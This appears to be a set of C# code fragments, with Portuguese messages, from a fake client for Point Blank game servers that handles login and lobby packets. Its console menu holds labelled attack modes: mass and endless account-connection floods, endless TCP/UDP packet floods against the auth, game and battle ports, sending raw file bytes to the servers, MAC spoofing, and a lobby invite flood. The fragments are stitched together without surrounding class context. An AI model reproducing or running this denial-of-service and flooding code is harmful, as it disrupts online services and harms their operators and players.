public byte[] NovoPacote(SendPacket receive, SendPacket BeginSend)
{
if (send != null)
{
try
{
BeginSend.WriteH(opcode); //Opcode
BeginSend.WriteH((ushort)GetSession.INST().GetNextSessionSeed()); // seed
BeginSend.WriteB(send.stream.ToArray()); //Bytes
byte[] data = Util.Encrypt(BeginSend.stream.ToArray(), player.Encrypt); // Encrypt
receive.WriteH((ushort)(data.Length - 2 | 0x8000));
receive.WriteB(data);
if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
{
Logger.Send($"{GetType().Name} [{ receive.stream.ToArray().Length}]");
}
return(receive.stream.ToArray());
}
catch (Exception e)
{
LoggerXML.Log(e.ToString(), "ERROR");
}
finally
{
receive.Close();
BeginSend.Close();
send.Close();
}
}
return(null);
}
public override void Avoid()
{
int countchara = ReadD();
ReadQ();
int idchara = ReadD();
Equip_inventory equipc = (Equip_inventory)ReadC();
ReadD();
///////////////////////////////////
int countweapon = ReadD();
ReadQ();
int idweapon = ReadD();
Equip_inventory equipw = (Equip_inventory)ReadC();
ReadD();
///////////////////////////////////
int countcupon = ReadD();
ReadQ();
int idcupon = ReadD();
Equip_inventory equipcupon = (Equip_inventory)ReadC();
ReadD();
///////////////////////////////////
ReadD();
if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
{
Logger.Warnnig($"countchara: {countchara}, id:{idchara}, equip: {equipc.ToString()}");
Logger.Warnnig($"countcupon: {countweapon}, id:{idweapon}, equip: {equipw.ToString()}");
Logger.Warnnig($"countweapon: {countcupon}, id:{idcupon}, equip: {equipcupon.ToString()}");
}
}
public override void Avoid()
{
LoginAcess result = (LoginAcess)ReadD();
ReadC();
player.ID = ReadQ();
string login = ReadS(ReadC());
ReadC();
ReadC();
if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
{
Logger.Receive($"{GetType().Name} [{result}; SEU ID: {player.ID}]");
}
if (result != LoginAcess.LOGIN_SUCESSO && result != LoginAcess.LOGIN_SUCESSO_ACEITO && AuthClient != null)
{
Logger.Error("Erro ao logar: " + result + ";");
}
if (result == LoginAcess.LOGIN_SUCESSO || result == LoginAcess.LOGIN_SUCESSO_ACEITO)
{
AuthClient.SendPacket(new BASE_GET_MYINFO_ACK().Write());
GetSession.INST().byPass = true;
}
}
public override void Avoid()
{
int error = ReadD();
if (error == 0)
{
if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
{
Logger.Receive($"{GetType().Name} [{error}]");
}
if (flods)
{
Connection.INSTs().SocketClientGame();
}
else
{
Player p = Connection.INSTs().player;
if (p != null && p.AuthClient != null)
{
p.AuthClient.AskSocket();
p.AuthClient = null;
}
p = null;
}
}
}
private void checkBox2_CheckedChanged(object sender, EventArgs e)
{
if (checkBox2.Checked)
{
GetSession.INST().PleaseWait = true;
}
}
private void Button1_Click(object sender, EventArgs e)
{
try
{
int count = 0;
if (MessageBox.Show("Essa comando é infinito, deseja continuar?", "FLODAR CONVITES", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
{
p.ClientGame.SendPacket(new ROOM_GET_LOBBY_USER_LIST_ACK().Write());
Logger.Receive($"Quantidades de players no lobby: {GetSession.INST().countPlayer}");
if (GetSession.INST().countPlayer > 0)
{
Logger.Comandos("Digite quantas vezes o repetirar. (1 até 300)");
int size = int.Parse(Console.ReadLine());
if (size <= 300 && size >= 1)
{
for (; ;)
{
count++;
Logger.Sucess($"Contagens total de convites: {count}");
Thread.Sleep(500);
for (int jogador = 0; jogador < GetSession.INST().countPlayer; jogador++)
{
p.ClientGame.SendPacket(new ROOM_INVITES_PLAYERS_ACK(jogador).Write());
}
if (count == size)
{
break;
}
}
}
else
{
Logger.Error("Error ao Digitar a quantidade.");
Logger.Error("programa Finalizado.");
}
}
else
{
Logger.Error("Não há players suficientes para flodar!");
Logger.Error("programa Finalizado.");
}
}
else
{
new Thread(CloseChating).Start();
Close();
p.ClientGame.SendPacket(new LOBBY_ENTER_ACK().Write());
Logger.Info("Você voltou para o lobby");
}
}
catch (Exception Ex)
{
Ex.ToString();
}
}
public override void Avoid()
{
ReadD();
int gold = ReadD();
int cash = ReadD();
if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
{
Logger.Receive($"{GetType().Name} Gold: [{gold}; Cash: {cash}]");
}
}
public void InforPlayer()
{
label12.Text = $"[Async Player] ID é: {p.ID}, Gold: {p.gold}, cash: {p.cash}, Nick: {p.nick}, acess: {p.acess}";
textBox4.Text = GetSession.INST().channelAnnounce;
label1.Text = $"IP: {p.server}";
label3.Text = $"Mac: {load.meuMac}";
label6.Text = $"Versão: {load.CLIENTEVERSION}";
label18.Text = $"Locale: {load.region}";
textBox6.Text = Environment.UserName;
textBox7.Text = p.channelId.ToString();
button4.Enabled = true;
textBox4.Enabled = false;
}
public override void Avoid()
{
int mask = ReadD();
LoginAcess error = (LoginAcess)ReadD();
int unk = ReadD();
if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
{
Logger.Receive($"{GetType().Name} Mask: [{mask} ;Error: {error}]");
}
if (AuthClient != null || error != 0)
{
AuthClient.AskSocket();
}
}
public override void Avoid()
{
int date = ReadD();
ReadD();
int error = ReadD();
if (error == 0)
{
player.AuthClient.SendPacket(new BASE_USER_GIFTLIST_ACK().Write());
}
if (GetSession.INST().floodAccounts == false)
{
Logger.Receive($"{GetType().Name}, {error}");
}
}
public override void Avoid()
{
GetSession.INST().countPlayer = ReadD();
if (GetSession.INST().countPlayer > 1)
{
for (int i = 0; i < GetSession.INST().countPlayer; i++)
{
int sessionid = ReadD();
int Rank = ReadD();
int length = ReadC();
string name = ReadS(length);
Logger.Warnnig($"Conta: {sessionid}, {Rank}, {name}");
GetSession.INST().playerlobby.Add(name);
}
}
Logger.Warnnig($"Tem { GetSession.INST().countPlayer} no Lobby; ");
}
public void AutoAccounts()
{
try
{
if (IPAddress.TryParse(loader.IP, out addr)) // 2586
{
remote = new IPEndPoint(addr, 39190);
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
Logger.Receive("Recebendo Informação do Servidor!");
if (socket == null)
{
return;
}
else
{
socket.Connect(remote);
}
if (socket.Connected)
{
Random r = new Random();
if (GetSession.INST().Process)
{
loader.USER = "******" + r.Next(0, 1000);
loader.PASS = "******" + r.Next(0, 1000);
}
LoggerXML.Log($"Iniciando a conexão auth. [{remote}]", "CONEXAO");
Logger.Warnnig("[Async Socket] " + socket.RemoteEndPoint.ToString() + "");
socket.NoDelay = true;
ReadPacket.flods = false;
player = new Player
{
AuthClient = new AuthClient(socket, SyncPackage.INST().read)
};
r = null;
}
}
}
catch (Exception ex)
{
LoggerXML.Log(ex.ToString(), "ERROR");
}
}
public override void Avoid()
{
int clientId = ReadD();
IPAddress addr = new IPAddress(ReadB(4));
short securityKey = ReadU();
GetSession.INST().seed = ReadU();
ReadB(10);
byte value = ReadC();
int serverSize = ReadD();
player.ADDR = IPAddress.Parse(LOAD.fakeIP).GetAddressBytes();
player.Encrypt = ((clientId + securityKey) % 7) + 1;
if (LOAD.LoggerReceive)
{
Logger.Receive($"{GetType().Name} [{clientId};{addr.ToString()};{securityKey};");
}
for (int i = 0; i < serverSize; i++)
{
int actived = ReadD();
IPAddress serverIp = new IPAddress(ReadB(4));
ushort serverPort = ReadUH();
Exception_Servers_Type serverType = (Exception_Servers_Type)ReadC();
short serverMax = ReadU();
int serverPlayers = ReadD();
if (serverType == Exception_Servers_Type.Server_Championship)
{
Logger.Sucess($"o ChannelType é {serverType}");
Logger.Error("o Servidor: " + i + " está com senha...");
clientGame.SendPacket(new BASE_CHANNEL_PASSWRD_ACK().Write());
break;
}
if (serverType != Exception_Servers_Type.Server_Championship)
{
Logger.Sucess($"o ChannelType é {serverType}");
Logger.Warnnig($"SessionSeed: [{GetSession.INST().seed}]");
clientGame.SendPacket(new BASE_USER_ENTER_ACK().Write());
break;
}
}
}
public override void Avoid()
{
s.sessionID = ReadD();
IPAddress addr = new IPAddress(ReadB(4));
short securityKey = ReadU();
GetSession.INST().seed = ReadU();
ReadB(10);
byte value = ReadC();
int serverSize = ReadD();
player.ADDR = IPAddress.Parse(LOAD.fakeIP).GetAddressBytes();
player.Encrypt = ((s.sessionID + securityKey) % 7) + 1;
if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
{
Logger.Receive($"{GetType().Name} ClientID: [{ s.sessionID }];");
Logger.Warnnig("ClientID: " + s.sessionID + " P.Encrypt: " + player.Encrypt);
}
for (int i = 0; i < serverSize; i++)
{
int actived = ReadD();
IPAddress serverIp = new IPAddress(ReadB(4));
ushort serverPort = ReadUH();
byte serverType = ReadC();
short serverMax = ReadU();
int serverPlayers = ReadD();
if (actived == 1 && i > 0)
{
player.server = new IPEndPoint(serverIp, serverPort);
if (GetSession.INST().floodAccounts == false)
{
Logger.Warnnig($"SessionSeed: [{ GetSession.INST().seed}]");
Logger.Warnnig($"Jogadores Online: { serverPlayers}.");
}
AuthClient.SendPacket(new BASE_GET_LOGIN_ACK().Write());
break;
}
}
}
public override void Avoid()
{
int error = ReadD();
if (error > 1)
{
Logger.Error("[ERROR] - Buscar informação do Usuario.");
}
else
{
player.revs = ReadC();
player.nick = ReadS(33);
player.exp = ReadD();
player.rank = ReadD();
ReadD();
player.gold = ReadD();
player.cash = ReadD();
ReadB(16);
player.acess = (PlayerACCESS)ReadC();
ReadB(161);
if (GetSession.INST().floodAccounts == false)
{
Logger.Info("[Async Templates]: Revision : [" + player.revs + "]");
Logger.Info("[Async Templates]: Nickname : [" + player.nick + " ]");
Logger.Info("[Async Templates]: Experiencia: [" + player.exp + " ]");
Logger.Info("[Async Templates]: Patente : [" + player.rank + " ]");
Logger.Info("[Async Templates]: Dinheiro : [" + player.cash + " ]");
Logger.Info("[Async Templates]: Ouro : [" + player.gold + " ]");
Logger.Info("[Async Templates]: Acesso : [" + player.acess + "]");
}
if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
{
Logger.Receive($"{GetType().Name} [{player.nick};{player.exp};{player.rank};{ player.acess };{player.revs};]");
}
}
AuthClient.SendPacket(new BASE_GET_SOURCE_ACK().Write());
AuthClient.SendPacket(new BASE_GET_CONFIG_ACK().Write());
AuthClient.SendPacket(new BASE_GET_ENTER_SERVER_ACK().Write());
}
public override byte[] Write()
{
send.WriteD(0); //ERROR
send.WriteS(r.Name, 23);
if (!GetSession.INST().PleaseWait)
{
send.WriteH(r.Map += 1);
}
else
{
send.WriteH(5000);
}
send.WriteC(0); //stage4vs4
send.WriteC(r.Type += 1); //type
send.WriteC(0);
send.WriteC(0);
send.WriteC((byte)r.slots); //slots
send.WriteC(0);
send.WriteC(0); //all Weapons
send.WriteC(r.randomMap); //randomMap
send.WriteC(r.special); //special
send.WriteS(player.nick, 33); // NICK DO PLAYER
send.WriteC(66); //66
send.WriteC(0);
send.WriteC(0);
send.WriteC(0);
send.WriteC(0);
send.WriteC(0);
send.WriteH(r.balanceamento);
send.WriteS(r.pass, 4); //PASSWORD
if (r.special == 6 || r.special == 9)
{
send.WriteC(r.Count); // QUANTOS BOT
send.WriteC(r.Level); // LEVEL DO BOT
}
return(Process());
}
public static void Conexao()
{
try
{
reload:
Logger.Info("----------------CONEXÃO AUTOMATICA nº: [ 1 ] OU MANUAL nº: [ 2 ]----------------");
switch (Console.ReadLine().ToLower())
{
case "1":
{
LoggerXML.Log("[Async Conexao] Automatica.", "CONEXAO");
new Thread(new ThreadStart(Connection.INSTs().SocketClientAuth)).Start();
break;
}
case "2":
{
LoggerXML.Log("[Async Conexao] Manual.", "CONEXAO");
Logger.Warnnig("[Async funtions] Digite seu IP");
string IP = Console.ReadLine(); //Checkar o Valor se é Valido do IP TryParse
if (IP != null || IP.Length > 20)
{
Logger.Warnnig("[Async funtions] Digite sua PORTA");
ushort Porta = ushort.Parse(Console.ReadLine());
if (Porta > 39191)
{
Logger.Error("Tá doido Jogador?[" + Porta + "]");
}
Logger.Warnnig("[Async funtions] Digite a versão da client");
string Versão = Console.ReadLine();
if (Versão.Length > 8)
{
Logger.Error("tá doido Jogador?[" + Versão + "]");
}
Logger.Warnnig("[Async funtions] Digite a Locale Client");
Regions locale = (Regions)byte.Parse(Console.ReadLine());
Console.Clear();
Logger.Warnnig($"Conexão para {IP}:{Porta} em {Versão} {locale}");
if (locale > 0)
{
load.IP = IP;
load.PORT = Porta;
load.CLIENTEVERSION = Versão;
load.region = locale;
if (IP != null && Porta != 0)
{
new Thread(new ThreadStart(Connection.INSTs().SocketClientAuth)).Start();
}
}
else
{
Logger.Error("tá doido Jogador?[" + locale + "]");
}
}
else
{
Logger.Error("[Async funtions] Error IP não pode ser nulo.");
}
break;
}
case "/login":
{
GetSession.INST().floodAccounts = true;
int count = 0;
Logger.Warnnig("[Async Atack] Você deseja flodar quantas contas? (1 À 1000)");
int contas = int.Parse(Console.ReadLine());
for (count = 0; count <= contas; count++)
{
new Thread(new ThreadStart(Connection.INSTs().AutoAccounts)).Start();
Console.Clear();
Thread.Sleep(1000);
}
Logger.Sucess($"[Async Atack] ATACK REALIZADO COM SUCESSO! contas criadas: {count}");
break;
}
case "/send":
{
Logger.Warnnig("[Async Atack] Digite o nome do arquivo dentro da pasta ataque, Ex: [PointBlank.exe]");
string arquivo = Console.ReadLine();
Logger.Warnnig("[Async Atack] Enviar algum arquivo em forma de bytes para AUTH [1] ou GAME [2]?");
switch (Console.ReadLine())
{
case "1": SocketComponets.SendByteInTextAuth(arquivo); break;
case "2": SocketComponets.SendByteInTextGame(arquivo); break;
default:
{
Logger.Error("ERROR");
break;
}
}
break;
}
case "/users":
{
GetSession.INST().floodAccounts = true;
int count = 0;
for (; ;)
{
new Thread(new ThreadStart(Connection.INSTs().AutoAccounts)).Start();
Thread.Sleep(5);
Logger.Sucess($"[Async Atack] ATACK REALIZADO COM SUCESSO! contas socket: {++count}");
}
}
case "/bypass":
{
if (!load.AutoCreate)
{
Logger.Error("Coloque auto create!");
}
else
{
Logger.Warnnig("Digite ID: ");
string id = Console.ReadLine();
Logger.Warnnig("Digite sua senha: ");
string senha = Console.ReadLine();
Logger.Warnnig("Digite um novo MAC");
string mac = Console.ReadLine();
if (mac.Length > 17)
{
load.meuMac = mac;
Logger.Info(mac);
}
if (string.IsNullOrEmpty(id) || string.IsNullOrEmpty(senha))
{
Logger.Error("id ou Senha nao pode ser nula!");
}
if (id.Length < 4 || senha.Length < 4)
{
Logger.Error("id ou Senha nao pode ser menor que 4!");
}
else
{
load.USER = id;
load.PASS = senha;
new Thread(new ThreadStart(Connection.INSTs().SocketClientAuth)).Start();
}
}
break;
}
case "/udp":
{
int count = 0;
while (true)
{
try
{
IPEndPoint Remote = new IPEndPoint(IPAddress.Parse(load.IP), 40009);
UdpClient udp = new UdpClient
{
Client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp),
};
udp.Client.Connect(Remote);
byte[] buffer = BitConverter.GetBytes(new Random().Next(22, 1000));
if (udp.Client.Connected)
{
udp.Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, new AsyncCallback(Retorno), udp);
}
else
{
Logger.Error($"[Async buffer] break"); break;
}
Thread.Sleep(5);
Logger.Warnnig($"[Async buffer] UdpClient [{++count}], Lenght '{buffer.Length}'");
}
catch (Exception ex)
{
Logger.Error(ex.ToString()); break;
}
}
break;
}
case "/buf":
{
int packet = 0;
Logger.Warnnig("[Async Atack Buffer] IP Automatico [ 1 ] ou Manual [ 2 ] ");
switch (Console.ReadLine().ToLower())
{
case "1":
{
volteipraca:
IPEndPoint RemoteAuth = new IPEndPoint(IPAddress.Parse(load.IP), 39190);
IPEndPoint RemoteGame = new IPEndPoint(IPAddress.Parse(load.IP), 39191);
IPEndPoint RemoteUDP = new IPEndPoint(IPAddress.Parse(load.IP), 40009);
Logger.Warnnig("[Async Atack Buffer] Tamanho de Bytes: ");
int i = int.Parse(Console.ReadLine());
byte[] b = new byte[i];
while (true)
{
try
{
Socket AUTH = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
AUTH.Connect(RemoteAuth);
if (AUTH.Connected)
{
AUTH.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), AUTH);
}
Socket GAME = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
GAME.Connect(RemoteGame);
if (GAME.Connected)
{
GAME.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), GAME);
}
Socket UDP = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
UDP.Connect(RemoteGame);
if (UDP.Connected)
{
if (b.Length > 1000)
{
b = new byte[1000];
}
UDP.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), UDP);
}
Logger.Send($"[P] TCP. Auth [{++packet}] {RemoteAuth.ToString()}");
Logger.Send($"[P] TCP, Game [{++packet}] {RemoteGame.ToString()}");
Logger.Send($"[P] UDP, Battle [{++packet}] {RemoteUDP.ToString()}");
}
catch (Exception ex)
{
Logger.Error(ex.ToString());
goto volteipraca;
}
}
}
case "2":
{
Logger.Warnnig("[Async Atack Buffer] Digite o IP: ");
string IP = Console.ReadLine();
Logger.Warnnig("[Async Atack Buffer] Digite a Porta TCP: ");
ushort portaTCP = ushort.Parse(Console.ReadLine());
Logger.Warnnig("[Async Atack Buffer] Digite a Porta UDP: ");
ushort portaUDP = ushort.Parse(Console.ReadLine());
Logger.Warnnig("[Async Atack Buffer] Tamanho de Bytes: ");
byte[] b = BitConverter.GetBytes(int.Parse(Console.ReadLine()));
if (IP != null || portaTCP != 0 || portaUDP != 0)
{
volteipraca:
IPEndPoint iPEndudp = new IPEndPoint(IPAddress.Parse(IP), portaUDP);
IPEndPoint iPEndTCP = new IPEndPoint(IPAddress.Parse(IP), portaTCP);
while (true)
{
try
{
Socket UDP = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
UDP.Connect(iPEndudp);
if (UDP.Connected)
{
if (b.Length > 1000)
{
b = new byte[1000];
}
UDP.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), UDP);
Logger.Send($"protocolo Type DataGram. BufferPacketUDP[{++packet}] {iPEndudp.ToString()}");
}
Thread.Sleep(load.InternalMilisegundos);
Socket TCP = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
TCP.Connect(iPEndTCP);
if (TCP.Connected)
{
TCP.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), TCP);
Logger.Send($"protocolo Type Stream. BufferPacketTCP[{++packet}] {iPEndTCP.ToString()}");
}
}
catch (Exception ex)
{
Logger.Error(ex.ToString());
Thread.Sleep(10000);
goto volteipraca;
}
goto volteipraca;
}
}
else
{
Logger.Error("[Async error] As configurações de socket não podem ser nulas!");
}
break;
}
default:
{
Logger.Error("[Async error] Você tentou uma opção Invalida!");
break;
}
}
break;
}
case "/log":
{
try
{
LoggerXML.DeleteLog(false);
Console.Beep();
}
catch (Exception ex)
{
Logger.Error(ex.ToString());
}
goto reload;
}
default:
{
Logger.Warnnig("[Async Default] Configuração Errada!");
Console.Beep();
goto reload;
}
}
}
catch (Exception ex)
{
ex.ToString();
}
}